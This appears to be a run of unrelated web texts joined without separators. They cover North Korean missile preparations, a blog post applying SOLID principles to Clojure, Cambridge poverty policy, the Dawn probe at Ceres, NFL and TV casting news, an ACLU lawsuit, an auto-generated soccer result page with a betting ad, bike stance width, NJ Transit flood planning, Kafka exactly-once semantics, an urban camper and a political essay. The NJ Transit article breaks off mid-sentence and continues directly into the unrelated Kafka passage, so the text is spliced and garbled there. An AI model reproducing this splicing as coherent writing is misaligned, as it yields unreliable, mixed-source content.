North Korea has moved a mobile rocket launcher to its east coast in apparent preparation for a missile launch ahead of the anniversary of the birthday of the nation’s founder, Kim Il Sung, today amid ongoing South Korea-U.S. joint military drills, a source told the JoongAng Ilbo yesterday.“We discovered that North Korea is moving a transporter erector launcher (TEL) toward the east coast, which had previously been deployed at its central front,” a high-ranking South Korean government official said yesterday. “North Korea made similar moves before the launch of its short-range FROG rockets and KN-09 ballistic missiles in late February and early March.”Seoul officials said Pyongyang may engage in military provocations to mark Kim Il Sung’s birthday today, or as part of its saber rattling against the ongoing Seoul-Washington military drill Foal Eagle, which ends Friday.To prevent a possible military skirmish, officials said several aegis destroyers have been deployed in its waters and that its Green Pine radar system is working.Since Feb. 21, following the two Koreas’ conclusion of joint reunions for families separated during the 1950-53 Korean War, Pyongyang has launched about 500 shells from artillery and rocket launchers, 100 of which landed in South Korean waters, as well as short-range rockets, missiles and two medium-range projectiles that are assumed to be Rodong missiles, toward international waters off its east coast.On April 5, Japan’s Mainichi Shimbun, citing a Japanese government official, reported that during bilateral talks with Tokyo, officials from Pyongyang notified them that they would conduct artillery drills and missile launches by April 17.Pyongyang has furiously protested Key Resolve and Foal Eagle, the two joint military drills between Seoul and Washington that take place in South Korean waters, despite the allies’ insistence that the annual drills are defensive in nature. The regime has accused the exercises of being “a war rehearsal” against the North.Kim Eui-do, the spokesman for South Korea’s Ministry of Unification, said at a briefing yesterday that Pyongyang was preparing various events to celebrate its biggest national holiday, although no particular military moves have been detected.There was no military parade, missile launch or speech by North Korean leader Kim Jong-un at the 2013 anniversary of the birthday of his grandfather, according to the regime’s official Korean Central News Agency.Yesterday, North Korea once again ratcheted up its condemnation against South Korea for “slandering and insulting” the regime, and denounced Seoul’s announcement that the three unmanned aerial vehicles, or drones, found earlier this month had likely been sent by the North for espionage purposes.Pyongyang called the South Korean Defense Ministry’s announcement about the drones “a second fabrication following that of the sinking of the Cheonan warship.”The regime’s Committee for the Peaceful Reunification of Korea said in a statement yesterday that the South Korean government is “crazy about insulting and slandering [North Korea] and the anti-DPRK propaganda.”So far, North Korea has been ambiguous in its response to the three drones found crashed in South Korea, which contained photos of South Korean military units near the frontline islands, as well as the Blue House.BY JEONG YONG-SOO, KIM HEE-JIN [heejin@joongang.co.kr]Summary: The SOLID principles are guidelines for writing good Object-Oriented code. It turns out that these principles are followed and embodied in Clojure.
Robert C. Martin (Uncle Bob) has named five basic principles of software design called SOLID. It’s an acronym that helps people remember them. I really like these kinds of mnemonics because, well, we all need help remembering things. The easier to remember, the more we can learn.
Through lots of experience designing software, these principles were developed to help make software that is maintainable in the long term. It’s a boon to the OO world that these and similar principles have been talked about so much. They’ve been identified, digested, named, and codified. And now you can speak about them and people know what you mean. This kind of thing is strangely lacking in the world of functional programming.
Why is this so? Perhaps it’s that there hasn’t been much use of functional programming in the software engineering industry in the last few decades. Some might say that these kinds of principles are not needed in FP. Regardless of why, it is a common frustration among people who switch from OOP to FP. I am often asked “How do I structure my code?” and “Where are all of the design guidelines?”
Well, I want to say that functional programmers do design their code. And they do follow principles. There just hasn’t been enough people churning through them all to come up with catchy acronyms and names. Many of the same principles apply.
Today I’m going to go through the SOLID principles and show how they are manifest in Clojure. Let’s do this one letter at a time.
Single Responsbility Principle
How much should one class do? The Single Responsibility Principle (SRP) says one thing. And the way you count the things it can do is by counting the reasons it may change. For instance, if you have a class that is responsible for reading in records from a database and displaying them to the user, that’s actually 2 reasons to change. One reason is if the database schema changes. The other is if the design of the display changes. That’s a violation of the principle and you should consider splitting up that class along those two lines.
Believe it or not, this comes up a lot in Clojure. You don’t program much with classes, but you do program with functions. It’s very common to see a function that reads in from a database then formats a string for display, maybe even printing it out!
(defn display-records [] (let [records (sql/query "SELECT * FROM...") record-string (str/join "
" (for [r records] (str (:first-name r) (:last-name r) (:id r))))] (println record-string)))
That’s doing three things and it’s pretty obviously violating the SRP. The fix in Clojure is to refactor this into separate functions.
(defn fetch-records [] (sql/query "SELECT * FROM..."))
(defn record->string [record] (str (:first-name record) (:last-name record) (:id record)))
(defn records->string [records] (str/join "
" (map record->string records)))
Then display-records just ties them together. You still need one that does everything. How many reasons does it have to change now? You don’t need to change it if the schema changes. You don’t need to change it if the format changes. I’ll leave that as an exercise for you.
(defn display-records [] (-> (fetch-records) records->string println))
Open/Closed Principle
What happens if you’re using a library and you like what it does but you need to do it slightly differently? It would be terrible if you just changed the source code for that library. What else was depending on it? What might break? The Open/Closed Principle (OCP) states that we should be able to extend the functionality without changing the module.
The OCP is something Clojure does extremely well. In Clojure, we can extend existing protocols and extend existing classes without breaking existing code. For instance, let’s say I have written this nice protocol called ToDate that has one method that converts something to a java.util.Date.
(defprotocol ToDate (to-date [x]))
Obviously, to make it useful I’ll have to implement it somewhere. I can take this protocol and implement it with existing classes without modifying the classes themselves.
(extend-protocol ToDate String ;; strings get parsed (to-date [s] (.parse (java.text.SimpleDateFormat. "ddMMyyyy") s)) Long ;; longs are unix timestamps (to-date [l] (java.util.Date. l)) java.util.Date ;; Dates are just returned (to-date [d] d))
Look at that! Now I can run this:
(to-date "08082015") ;;=> #inst "2015-08-08T05:00:00.000-00:00"
Or this:
(to-date 0) ;;=> #inst "1970-01-01T00:00:00.000-00:00"
Liskov Substitution Principle
Are queues and stacks subclasses of each other? They both have the same interface ( push and pop ), but semantically, they’re quite different. Stacks are Last-In-First-Out and queues are First-In-First-Out. The Liskov Substitution Principle (LSP) states that a subclass should be able to be substituted for its superclass. You can’t replace a stack with a queue (or vice versa), so they’re not really subclasses of each other.
LSP is mostly about subclass hierarchies, which are rare in Clojure. But Clojure is built on the class hierarchies of Java. And the core types, which are written in Java, are well-designed with respect to this principle.
A simple example is the variety of clojure.lang.APersistentMap implementations. They each have different performance characteristics but they maintain the relevant semantics of maps. There are :
PersistentArrayMap
PersistentHashMap
PersistentStructMap
PersistentTreeMap
Because they all have compatible semantics according to LSP, the runtime can choose between them freely without you ever having to know or care.
Interface Segregation Principle
If I use some API and one of the methods I use changes, I can accept that I’ll have to change my code. But if one of the methods I didn’t use changes, it would be aggravating if I had to change something on my end. I shouldn’t even have to know about those methods even existing. One way to prevent this nuissance is by applying the Interface Segregation Principle (ISP). It states that you should split up your interfaces into smaller interfaces, typically so that they have one reason to change. Now clients are only affected by changes that are relevant to them.
ISP is prevalent in Clojure. Much more so than in typical Java systems. Just look at the size of the interfaces in clojure.lang. So small! Here’s a typical one:
class: clojure.lang.Associative methods: containsKey, entryAt, assoc
These methods correspond to the typical map operations of containsKey, get, and put respectively. These three methods are highly cohesive. Contrast this with java.util.Map, which has 14. Now, all of the functionality of Java maps are in Clojure maps, they’re just segregated to different, reusable interfaces.
For instance, the size method java.util.Map is a separate, 1-method interface called clojure.lang.Counted. Clojure applies the ISP very thoroughly, and ClojureScript slightly more so.
Dependency Inversion Principle
A module often depends on a lower-level module for the implementation details. This tightly couples the higher-level module to the decisions of the implementation module. For instance, if I have a reporting module that depends on the SQL query module to get its data, the reporting module is indirectly tied to the SQL database. The Dependency Inversion Principle (DIP) inserts an interface between layers. In our example, the reporting module will depend on a Data Source interface. And the SQL module will implement the Data Source interface. You could switch out the SQL module for a file-storage module and the reporting module wouldn’t have to know.
Clojure uses the DIP everywhere. For instance, the core function map does not operate on any fixed data type–only abstractions. It operates on the clojure.lang.IFn abstraction, which is the interface functions implement. It also operates on the seq abstraction, which defines orders for collections, iterables, and other types. This makes map decoupled from any particular type and thus more generally useful. The same principle holds for many of the core library functions. By applying DIP universally, Clojure is made more powerful because functions can be reused more often.
Conclusions
The SOLID principles are important guidelines for designing software that will last. They guide us to make more useful, reusable components. However, they must be repeated a lot in language communities like Java because Java does not make them very easy to apply. In Clojure, the principles are present everywhere. One of the things I like about Clojure is how it seems to embody a lot of the lessons of the last 20 years of software engineering. And that’s one of the things I like to bring up in the PurelyFunctional.tv Online Mentoring course. One of the reasons Clojure is making such big waves is that it has integrated good engineering principles, like SOLID, immutable values, and concurrency right into the core.
Please comment in the discussion forum.During the last three decades, the average income of a Cambridge resident has more than doubled while the percent of the population living in poverty remains unchanged. Despite this, Cambridge has neither an identifiable anti-poverty program, nor has fighting poverty been established as a goal by the City Council. Indeed, the Council goals seem more aligned with fiscal conservatism than progressive Cambridge.
Many Programs, Little Focus
A review of the City current budget, a 600 page document, shows that the word "poverty" appears nowhere. "Low income" appears 13 times, with multiple mentions of low income senior housing in Riverside, low income fuel assistance, and the Cambridge Health Alliance's service to low income patients.
This is not to say that Cambridge doesn't have a myriad of programs that provide assistance to low income residents, the homeless and at risk families, senior or others. Assistance includes food pantries, fuel assistance and job training for the "unengaged". Ellen Semonoff, Assistant City Manager for Human Services, acknowledges that there is "no one focused effort on poverty" but points in particular to two of the over fifty programs listed on the Human Services web page as "support[ing] individuals or families lifting themselves out of poverty or avoiding generational poverty." The Cambridge Works Transitional Jobs program seems a quintessentially Cambridge program, using a case management approach to, one by one, intervene with individuals 18-35 years old who have significant barriers to employment. Baby University supports families with children under 3 s to take the steps that will provide the best opportunities for their children to become healthy productive adults.
Poverty Hasn't Been a Priority for the City Council
The City Council goals for the City speak first of a "Strong Fiscal Position", next of strengthening of Human Services programs for "residents of all ages", and later of supporting and creating affordable housing. As with a national economic policy that treats deficit control as sacrosanct regardless of the social costs, Cambridge's priorities seem to reflect Cambridge's past fiscal troubles rather than its current economic vitality.
In the last two years, the term of the previous City Council, "poverty" appeared 12 times in Policy Resolutions, Committee and City Officer reports and the City Manager's agenda. Six of these were routine appropriations the City's fuel assistance program. The four council Orders expressed concern about federal benefit cuts or support for federal policies. The remaining two were committee reports about Central Square. "Low income" makes a similar pattern of appearance, with routine appropriations predominating, and various committee reports about affordable housing.
Tea Party Cambridge
A budgetary philosophy rooted in avoiding tax increases and appeasing credit rating agencies would seem more aligned with the right wing of the Rebulbican Party rather than thoroughly progressive Cambridge. Yet, in his September 30, 2013 letter to the City Council (PDF) seeking approval tax rates for this year, City Manager Richard Rossi writes:
I am pleased to inform you that the actual FY14 property tax levy of $328,544,945 reflects a $11,597,175 or 3.66% increase from FY13, which is significantly lower than the estimated increase projected in May 2013 and what was presented to the rating agencies in January.
What that means to residential taxpayers is spelled out later:
In addition, approximately 74.1% of residential taxpayers will see a reduction, no increase or an increase of less than $100 in their FY14 property tax bill. Another 13.5% of residential taxpayers will see an increase between $100 and $250. Therefore, a total of 87.6% of the residential taxpayers will see no increase or an increase of less than $250. This will be the ninth year in a row that a majority of residential taxpayers will see either a reduction, no change or an increase of less than $100.
As the average income of Cambridge residents has doubled, the amount of money they pay in Cambridge taxes has remained, for the most part, unchanged. This is not the action of a City Manager out of touch with Cambridge values. Instead, it is in keeping with the goals and priorities set by the Council.
Residents Step Into the Gap
The Cambridge Public Schools provide reduced cost or free lunches to 45% of its students meaning that, for many of these students, school-provided food is their primary nutritional support. What happens to these students on weekends or holidays? A Cambridge anti-poverty strategy would have recognized this gap in the safety net and found means to address it. Instead, this was noticed by residents who created the Cambridge Weekend Backpack Program. Supported primarily by private donations, this program quietly provides students with fresh food for the weekends. In December, the City Council asked the City Manager to consider fully funding this program. Why should this even be a question?
Cambridge doesn't calculate poverty consistently
There is no more indication of Cambridge's indifference to its poverty rate than its inconsistent calculation. For the year 2000, the last for which complete census data are available, Cambridge publishes three different poverty rates. The Census Bureau calculates Cambridge's 2000 poverty rate to be 12.9%. The City's most recent demographic publication, the Neighborhood Statistical Profile (PDF), calls the poverty rate 11%.1. The City's own display of the 2000 census data says the poverty rate is 15%. The City's 2011 Statistical Profile (PDF) gets it right, matching the Census Bureau's 12.9%. There are methodological considerations that could explain these variations. The Census Bureau does not assess poverty for people living in institutional housing and excludes them when calculating the poverty rate. Cambridge seems not to be as careful in its own methodologies. If Cambridge were focused on poverty, it's unlikely that it would declare its poverty rate to be three different numbers without explanation.
Where's the Cambridge War on Poverty?
Fifty years ago this week, President Lyndon Johnson announced America's War on Poverty, creating a set of social programs that have mitigated the effects of poverty, but this safety net is fraying. Cambridge has a history of stepping up to the issues of our times that we believe the national government to be neglecting. We have a Peace Commission, a Women's Commission, and a Gay, Lesbian, Bisexual and Transgender Commission. Where's the Cambridge Poverty Commission? When Federal policies created a tax disadvantage for couples in same sex marriages, Cambridge taxpayers made up the difference. When Federal policies cut off unemployment insurance or nutritional assistance, why aren't Cambridge taxpayers even asked about their priorities?
Cambridge is enjoying extraordinary growth with almost unfathomable wealth being created in Kendall Square. The City of Cambridge has used the growth of its tax base to keep tax rates stable and please credit ratiing agencies. But, with per capita income doubling, Cambridge residents ability to pay higher taxes seems quite real. For a city whose nickname comes from a history of progressive polcies, The People's Republic of Cambridge seems to be an ironic joke.
A new City Council term starts Monday.
Update: Cliff Cook, Cambridge's Planning Information Manager has acknowledged the issues in the poverty rate this article identified. The Census Tract demographic data linked to data from 2005-2009 instead of 2000. This error, he says, has been corrected. The neighborhood poverty rates appear to have been calculated incorrect, according to Cook, and is being more carefully investigated.New images of the dwarf planet Ceres, the largest body in the asteroid belt, reveal a world that's even stranger than scientists expected.
The 590-mile-wide (950 kilometers) icy world is pockmarked by craters, photos released Tuesday show, and has curiously rugged terrain at its south pole and several enigmatic bright spots dotting its surface.
It's those bright spots—perhaps expanses of ice, but for now scientists can't say—that are attracting the bulk of speculation. At least one of them has been glimpsed before in blurrier pictures taken with the Hubble Space Telescope.
"Our sharper view reveals some [spots] that Hubble could not discern," says Dawn chief engineer and mission director Marc Rayman of NASA's Jet Propulsion Laboratory. "As Dawn gets closer and gathers more data on their appearance and their composition, we surely will get insight into what they are. I can't wait!"
Shot February 12, the latest images were taken when the Dawn spacecraft was 53,500 miles (86,000 kilometers) from Ceres. Dawn is scheduled to slip into orbit around Ceres on March 6 and spend the next year looking for clues about what the world is made of, what lies beneath its surface, and the unexpected tufts of water vapor reported in 2014.
Why It Matters
Watery and relatively huge, Ceres is wildly out of place in the asteroid belt, a stretch of space between Mars and Jupiter that's mostly populated by smaller, dustier space rocks.
Some scientists think that's because Ceres was born somewhere else, while others suggest it might have grown up at a slightly different time. Dawn will help unravel the mystery of Ceres by comparing it with another relative giant in the asteroid belt: dry and dusty Vesta, which Dawn orbited from mid-2011 through late 2012.
The Big Picture
Ceres and its neighbors are relics from the dawn of the solar system, when the sun was young and the planets grew from a swirling disk of gas and dust. Reading the ancient records stored in bodies like Ceres helps reconstruct those early years.
These worlds contain clues not only about the solar system's birth 4.5 billion years ago, but also about a tumultuous reorganization that took place hundreds of millions of years later.
What's NextChris Shula, the grandson of Don Shula, was a collegiate teammate to Los Angeles Rams head coach Sean McVay at the University of Miami-Ohio.
Shula was named an assistant linebackers coach for the Rams earlier this offseason. His father, Dave, was the head coach for the Cincinnati Bengals. But his grandfather, Don, remains the winningest coach in NFL history.
Today, however, we learned Shula is a current roommate to McVay (via MMQB):
Rams assistant linebackers coach Chris Shula (son of Dave, nephew of Mike, grandson of Don) comes downstairs. He and McVay were friends in college at Miami of Ohio, and now Shula lives in one of the six bedrooms at McVay’s a house. The two coaches have a beer by the fire on the balcony … The fireside conversation never veers from football.
The Rams coach lives in Encino Hills in a 4,660-square foot home with his girlfriend.
McVay also has a famous football grandfather. John McVay was the GM of the San Francisco 49ers.
#Rams assistant LB coach Chris Shula is a part of just two three-generation coaching families in @NFL history. 📰 » https://t.co/WNZ6F5qpoK pic.twitter.com/BLyhQywV3Z — Los Angeles Rams (@RamsNFL) March 23, 2017Joining a cast that just yesterday added four more names, Fox and Warner Bros. Television have announced that Donal Logue ("Terriers," "Sons of Anarchy") has been cast as Harvey Bullock in their upcoming series "Gotham." Originally rumored for a different role in the series, Logue's Bullock is described as Jim Gordon’s partner and mentor. The rough-around-the-edges detective plays loose with police procedure, but he gets results … and he does it with old-school, forceful panache.
The series has also cast Ben McKenzie as James Gordon, Robin Lord Taylor as Oswald Cobblepot, Sean Pertwee asAlfred Pennyworth, Zabryna Guevara as Gordon's boss at the GCPD, Captain Essen, and Erin Richards as Gordon's fiancee, Barbara Kean.
Bruno Heller ("The Mentalist," "Rome") wrote the pilot script and will serve as executive producer on the series. Danny Cannon ("CSI," "Nikita") will direct and executive produce the pilot.By Jon Herskovitz
(Reuters) - The American Civil Liberties Union sued the U.S. Department of Homeland Security in federal court on Thursday, seeking records the civil rights group contends provide accounts of hunger strikes at immigration detention facilities.
The ACLU said in its filing that in recent weeks there have been a new series of hunger strikes at U.S. Immigration and Customs Enforcement (ICE) detention centers in Georgia, Oregon and Washington, adding hunger strikes have previously hit detention centers in Arizona, Florida, Louisiana and Texas.
The suit comes as U.S. Republican President Donald Trump has promised a crackdown on illegal immigration and the Republican-dominated U.S. Congress this month agreed to fund an additional 5,300 detention beds for those suspected of illegally entering the country.
"The Trump administration's plans to expand detention and strip away existing structures for oversight of detention are likely to produce more protests both inside and outside the walls of detention facilities," the lawsuit filed in the U.S. District Court for the District of Columbia said.
Immigration and Customs Enforcement spokeswoman Jennifer Elzea said in an email: "ICE is unable to comment on pending litigation."
The lawsuit said detention center inmates have launched the hunger strikes over the past few years as a non-violent way to bring attention to what they see as a lack of access to bond hearings and inhumane conditions of confinement.
The suit also said that some inmates who have previously launched hunger strikes were met with extraordinarily punitive responses.
From April 1-22, an average of 36,235 immigrants were in detention per day, according to the most recent statistics provided by ICE.
The White House in March requested bringing the total number of beds up to 45,700, saying the additional capacity was necessary to achieve the president's goal of "enhancing interior enforcement efforts and ending 'catch and release' for those apprehended at the border."
The agreement reached in Congress would increase the number of immigration detention beds to 39,324 from 34,000 currently, according to a summary provided by the House Appropriations Committee.
In April, hundreds of detainees at an immigration detention center in Washington state began refusing meals in a hunger strike to protest conditions at the facility and delayed immigration hearings, activists said.
The Geo Group Inc, the company that operates the Washington state facility and other detention centers around the United States, declined to comment on the lawsuit.
(Reporting by Jon Herskovitz; Editing by Sandra Maler)Charlotte Eagles - Sounders FC U23 Game Result, Statistics and Goals 22/05/2013
Charlotte Eagles - Sounders FC U23 Game Result and Goals
3 : 0 (0 : 0) (3 : 0)
Final Result 1. Halftime 2. Halftime Charlotte Eagles 3 0 3 Sounders FC U23 0 0 0
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Result, Goals and more Details for the Matchon 22/5/13 at 1:00.The Teamwon the Game against Sounders FC U23 with ResultThe Soccer Game was played on 22/05/2013, 01:00 o`clock within the Tournament US Open Cup.It was part of the 2. Round Games from the US Open Cup Tournament.Status of the Game Charlotte Eagles vs Sounders FC U23 is(FT).The US Open Cup Football Match was played over the full regular Time.The Result of this Match was added or updated on 22/05 at 02:57 to the Soccer Result Service.No Goal or Goal Soccer Data found for this Charlotte Eagles Match.Sounders FC U23 scored no Goals in this Soccer Game.No red Cards for this Soccer game found.No yellow Cards for this Soccer game found.The next direct Schedules for Games between Charlotte Eagles and Sounders FC U23from the Soccer Schedule. For H2H Match Stats please click the Game Name.More known upcoming League or Tournament Matches for the bothSoccer Teams Charlotte Eagles and Sounders FC U23 current period :Before this Match Charlotte Eagles played against Charleston Battery within the League USL Pro Divisionand won with the Result 1:0 (0 : 0) (1 : 0) Details and Sounders FC U23 played within the Tournamentagainst Doxa Italia and won with the final Result 5:1 (5 : 0) (0 : 1)More about the Soccer Teams Charlotte Eagles and Sounders FC U23 can be found in the Team Statistics.Soccer Match Result Archives about the latest five Games of the two Soccer TeamsCharlotte Eagles and Sounders FC U23 befor this Game on 22/05/2013 at 01:00.For more Match Details, every Game Result please watch out and click to the Match Name.Bet Games of Charlotte Eagles and Sounders FC U23 at Sportingbetand getyouras welcome or first deposit Bonus now.Free Betting Tips / Picks for the Game or League Gameyday from the Soccer Betting Forums.For all current daily Free Bet Tips for today please check out the Soccer Forum.The latest current Results just finished regular within the last Hours or Minutes fromall other international Matches around the world live from today for quick to view :The Statistics and Result Details for the US Open Cup MatchCharlotte Eagles - Sounders FC U23 last time refreshed today at 02:00 o`clock.Download this guide (PDF)
What is “Stance Width”?
Stance width is a combination of two essential measurements: “Q-Factor” is the distance between the outside face of your crankarms, and “spindle length” the distance from the crankarms to the center of the pedal body (fig. 1).
Stance width is important for a proper pedal stroke. The hip joint is designed for walking, where the feet stay in line with the rest of the leg. Cycling has a toe-in position where the feet are less than shoulder width apart. Many crank manufacturers make Q-factor as narrow as possible for improved aerodynamics and benefits to bicycle’s design—they don’t address the rider’s interface with his or her bicycle. This can be problematic for a rider’s overall bike fit.
When a rider’s stance width is either too wide or too narrow, the rider’s knees will have a tendency to track either inward or outward at the top of the pedal stroke (fig. 3 & 4). This can cause issues with joint pain and decrease the efficiency of power transfer throughout the pedal stroke.
Proper stance width keeps knees happy and power transfer efficient. iSSi interchangeable spindles provide cyclists with multiple spindle lengths in intermediate increments—for comfortable and efficient pedaling no matter how long the ride.
Note: Consult a bicycle fitter before changing spindle lengths. Many bike shops have fit experts that can assist riders in finding the perfect spindle length for each leg, along with proper bicycle fitting adjustments. Don’t self-diagnose, as you may exacerbate the problem!Nearly five years after Hurricane Sandy hit the East Coast of the United States and damaged more than 300 train cars owned by the New Jersey Transit Corporation, at an estimated cost of $100 million, the state agency is taking steps to protect its fleet from future floods. Last week, the NJ Transit board voted to buy 25 acres of land as a “safe haven” for storing trains, a place to keep them out of the low-lying Meadowlands Maintenance Complex near the Hackensack River where they were damaged during Sandy.
There’s a slate of efforts underway aimed at building a more resilient transit system in New Jersey, one better equipped to handle the increasing intensity of weather events. Other efforts include establishing a resilient energy grid to provide power during storms and filling in a canal that contributed to the flooding of train yards during Sandy.
I asked NJ Transit to make an official available for an interview about the agency’s resilience efforts, but they declined. When I asked whether the agency has a point person overseeing resilience, the public information officer replied: “NJ TRANSIT has a Project Management department comprised of talented professionals dedicated to these projects.”
Critics of NJ Transit’s vote to purchase the safe zone land are more than happy to talk. Last week, rail advocates told NJTV that the project was an unnecessary expense, considering that the agency already has enough room on high-ground tracks to store the trains in the event of more flooding. Capital investments would be better spent on an additional tunnel into New York City, they said.
“They’re wasting our money for a facility they do not need …,” says David Peter Alan, chairman of the 40-year-old rail advocacy group The Lackawanna Coalition. “Their capital program is totally misplaced.”
Alan and other advocates say that NJ Transit doesn’t do enough to improve service, but spends great sums of money on capital projects that aren’t needed. While recognizing the need to make the transit system more resilient in the face of climate change, Alan considers the train storage project a waste. If NJ Transit would simply plan ahead, he says, it could keep the fleet safe with the space that it has. (And the agency seems increasingly unwilling to listen to input or talk openly about its plans, Alan says. “The climate between NJ Transit and everybody else has never been this adversarial in the 32 years I’ve been an advocate around here. It’s bad,” he says.)
Rob Freudenberg, vice president for energy and the environment at the Regional Plan Association, says that a lot of municipalities and agencies in the New York region are building their resilience plans around the federal funding that’s available, rather than the other way around. (RPA is a research and advocacy organization focused on the New York-New Jersey-Connecticut region.)
“It’s one thing to have a facility where you can move a lot of stock,” Freudenberg says. “It’s another to |
batch processes where throughput is known a priori. These can simply be re-run when errors occur.
When people describe a messaging system with FIFO and exactly-once semantics, they’re usually providing a poor description of a relational database with support for ACID transactions. Providing these semantics in a messaging system likely still involves database transactions, it’s just more complicated. It turns out relational databases are really good at ensuring invariants like exactly-once.
I’ve picked on Kafka a bit in the past, especially with the exactly-once announcement, but my issue is not with Kafka itself. Kafka is a fantastic technology. It’s well-architected, battle-tested, and the team behind it is talented and knows the space well. My issue is more with some of the intangible costs associated with it. The same goes for similar systems (like exactly-once FIFO SQS queues). Beyond just the operational complexity (which Confluent is attempting to tackle with its Kafka-as-a-service), you have to get developer understanding. This is harder than it sounds in any modestly-sized organization. That’s not to say that developers are dumb or incapable of understanding, but the fact is your average developer is simply not thinking about all of the edge cases brought on by operating distributed systems at scale. They see “exactly-once FIFO queues” in SQS or “exactly-once delivery” in Kafka and take it at face value. They don’t read beyond the headline. They don’t look for the caveats. That’s why I took issue with how Kafka claimed to do the impossible with exactly-once delivery when it’s really exactly-once processing or, as I’ve come to call it, “atomic processing.” Henry Robinson put it best when talking about the Kafka announcement:
If I were to rewrite the article, I’d structure it thus: “exactly-once looks like atomic broadcast. Atomic broadcast is impossible. Here’s how exactly-once might fail, and here’s why we think you shouldn’t be worried about it.” That’s a harder argument for users to swallow…
Basically “exactly-once” markets better. It’s something developers can latch onto, but it’s also misleading. I know it’s only a matter of time before people start linking me to the Confluent post saying, “see, exactly-once is easy!” But this is just pain deferral. On the contrary, exactly-once semantics require careful construction of your application, assume a closed, transactional world, and do not support the case where I think people want exactly-once the most: side effects.
Interestingly, one of my chief concerns about Kafka’s implementation was what the difficulty of ensuring end-to-end cooperation would be in practice. Side effects into downstream systems with no support for idempotency or transactions could make it difficult. Jay’s counterpoint to this was that the majority of users are using good old-fashioned relational databases, so all you really need to do is commit your offsets and state changes together. It’s not trivial, but it’s not that much harder than avoiding partial updates on failure if you’re updating multiple tables. This brings us back to two of the original points of contention: why not merely use the database for exactly-once in the first place and what about legacy systems?
That’s not to say exactly-once semantics, as offered in systems like SQS and Kafka, are not useful. I think we just need to be more conscientious of the other costs and encourage developers to more deeply understand the solution space—too much sprinkling on of Kafka or exactly-once or FIFO and not enough thinking about the actual business problem. Too much prescribing of solutions and not enough describing of problems.
My thanks to Kevin Sookocheff and Beau Lyddon for reviewing this post.
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Leave it to the Dutch to come up with something this cool/strange.
Eduard Bohtlingk, a Dutch designer and architect, designed this “urban camper,” called the Markies (that’s ‘Marquis’ in English) that was featured as part of the Urban Campsite art installation in Amsterdam. People were invited to stay in the artist-designed structures within city limits.
The camper has all the modern luxuries of home, including a kitchen, bathroom and enough sleek design to satisfy even the trendiest urbanite.
Bohtlingk took advantage of the fold-down sides to triple floor space and add a seating area and sleeping quarters for four.
Although the Markies is not available to rent anymore, Urban Campsite Amsterdam does have new installations opening in June.by
“The decade 2003-2012, the 449 companies publicly listed in the S&P 500 index spent only 9% of their earnings on new capital investment. They used 54% to buy back their own stock, and 37% to pay dividends.” – Michael Hudson “Gambling is a stealth tax on poor people hoping to beat impossible odds. Governmental income from gambling is an effort to make up for taxes the rich and corporations no longer pay.” – Chris Hedges “Throughout history every state that has come to rely on gambling for its tax base has been in steep decline.” – John Ralston Saul
The effects of the Casino Economy are fully upon us. For the wealthy and our corporations its the game rigged in their favour on Wall Street. For the rest its the games rigged against us – lotteries and casinos.
The speculative financial industry has taken control over the economy. As opposed to capital being invested for productive uses it instead is used to create profit. Money making money on money while making nothing else. This is at best an inflationary activity creating debt and so driving up the cost of doing business for the economy as a whole. At its worst it is a bubble making activity looking for a place to burst.
Our elites paid billions in lobbying over the decades since the New Deal to create this reversal in our economies. N.B. In the 1950’s nine out of every ten dollars of capital was invested in productive capacity. Today ninety five out of every hundred is not! The greatest and most debilitating trick that was pulled was convincing our populations that our governments have run out of money. Simultaneously engineering a situation where every government in the world is ‘drowning in debt’.
The reality of course is that you can be out of trees, out of bees, out of topsoil and drinkable water. All of these are finite and irreplaceable. Ask the people of Flint or Canada’s indigenous peoples. By very stark contrast a country with its own currency can never be out of money. How our financial elites created this self-serving misconception was by financial engineering. In effect instituting a corporate coup d’etat over the creation of the money supply and the servicing of debt. Moving these from the public sector to the private sector.
So whereas for the first century of my country’s existence our debt was owed to the Bank of Canada – aka ourselves – in the 1970’s the private banks convinced our politicians to instead owe it to them. The consequence of this is that the interest on the debt no longer returns to we the citizens of the country. Instead it goes to the foreign and domestic financial elites who have thereby taken the country from our hands to their pockets. This is of course not unique to Canada it is rather the very basis of the Washington Consensus and the new financial order of the OECD countries and beyond.
As a result our politicians have enabled the essentially fascist outcome of corporations being in control of both our government representatives as well as our monetary policies. As Mussolini pointed out fascism is defined by an economic system where the policies chosen by government are indistinguishable from those desired by corporations.
Today we have a situation where our elites have financially engineered possession and/or control of virtually all the money in our economic systems. With this control they have chosen to ‘seek yield’; through leverage, high speed trading, and share buybacks. Failing at the same time to invest in human and environmental needs. Our ‘representatives’ preach the gospel that governments must ‘tighten their belts’ and so cannot afford to reduce homelessness, crumbling infrastructure and the environment. Despite this gospel they always manage to find money for tax cuts military spending and corporate subsidies. Capital our elites then devote to the casino that creates more inequality while inflating us ever closer to the bursting of yet another bubble like the one of 2008.
Along with this warping of our economy our elites have also paid billions to elect politicians who do not believe in politics. Who instead believe that the taxes that our government was formerly returning to us in services and infrastructure spending should be either abolished or privatized. This is as true for ‘liberals’ as it is for ‘conservatives’ both labels having lost all meaning along the way.
Harper, Howard, Blair, Clinton, Bush, Hollande, Trudeau, Trump, it matters not at all. Each of them pushes the same prescriptions. I.e. Governments are broke so the private sector is the only alternative. Here at home in Ontario this has led to a perfectly instructive bit of insanity. Our ‘Liberal’ government seeking to push through what a previous ‘Conservative’ government was forced to back away from out of fear of the political damage it would do to their electoral fortunes. I.e. Privatize the electrical system that we citizens have paid for and owned for close to a century. It quite simply cannot be more obvious that the future of all energy is electricity. The Wynne government’s response? Give away the greatest jewel in the crown of the people. So much for the identity politics utility of electing a gay woman.
Be they ‘libs’ or ‘cons’ our politicians are in service to same ideology and paymasters. Both dedicated to the proposition that the private sector should be entrusted with solving the challenges we face. Be it climate change, the destruction of our oceans, our drinking water, our farmlands, our pollinators. These will never be challenges that the market will proactively invest in to avoid. That is obvious on its face. It is equally obvious that they will however be happy to exploit them for profit after they have occurred. Here in Canada we have the good fortune of being able to put in power the NDP or the Greens. The NDP being in essence the New Deal Party. We don’t but we could.
Be they ‘left’ or right for the last forty years our politicians have been guilty of shifting power away from democratic control and towards our financial elites and our corporations. The only difference between the two wings of the one business party was the rate of devolution. At best the population was given a slight pause during some terms. This is what a downward spiral looks like.
Thanks to the corporately owned media our ‘liberals’ were given such effective cover that even as they devolved ever increasing amounts of power to the private sector they were painted as ‘tax and spend’ and ‘big government types’. The result being that when the public tired of their snake oil and its ill effects on their fortunes they had nowhere to turn but the other wing of this bird of prey. One whose only ‘solution’ was even more of the same.
